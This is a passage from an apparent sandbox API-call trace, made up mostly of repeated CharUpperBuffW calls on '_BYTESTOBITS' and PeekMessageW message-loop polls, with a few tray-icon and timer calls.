cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.151] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.152] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.152] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.152] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.152] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.152] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.152] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.152] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.152] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.153] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.153] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.153] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.153] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.153] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.153] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.153] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.153] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.153] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.154] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.154] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.154] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.154] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.154] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.154] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.154] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.155] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.155] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.155] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.155] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.155] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.155] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.155] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.156] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.156] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.157] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.157] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.157] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.157] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.157] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.157] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.157] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.157] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.157] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.158] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.158] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.158] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.158] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.158] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.158] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.158] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.158] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.158] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.158] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.821] Shell_NotifyIconW (dwMessage=0x1, lpData=0xd72f04e750) returned 1 [0050.821] KillTimer (hWnd=0xb002c, uIDEvent=0x1) returned 1 [0050.821] SetTimer (hWnd=0xb002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0050.821] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.821] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.821] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.821] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.822] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.822] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.822] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.822] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.822] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.822] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.822] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.822] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.823] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.823] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.823] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.823] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.823] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.823] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.823] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.823] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.823] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.824] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.824] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.824] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.824] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.824] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.824] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.824] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.824] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.824] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.824] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.826] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.826] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.826] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.826] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.826] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.826] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.826] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.826] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.826] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.827] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.827] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.827] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.827] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.827] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.827] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.827] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.827] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.827] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.827] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.827] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.827] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.827] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.827] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.827] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.827] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.827] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.827] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.828] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.828] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.828] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.828] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.828] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.828] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.828] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.828] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.828] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.828] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.828] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.828] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.828] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.828] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.828] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.828] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.828] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.829] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.829] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.829] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.829] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.829] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.829] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.829] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.829] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.829] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.829] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.829] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.829] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.829] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.829] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.829] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.829] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.829] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.829] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.829] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.829] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.829] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.829] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.829] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.829] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.829] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.829] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.829] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.830] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.830] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.830] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.830] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.830] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.830] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.830] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, 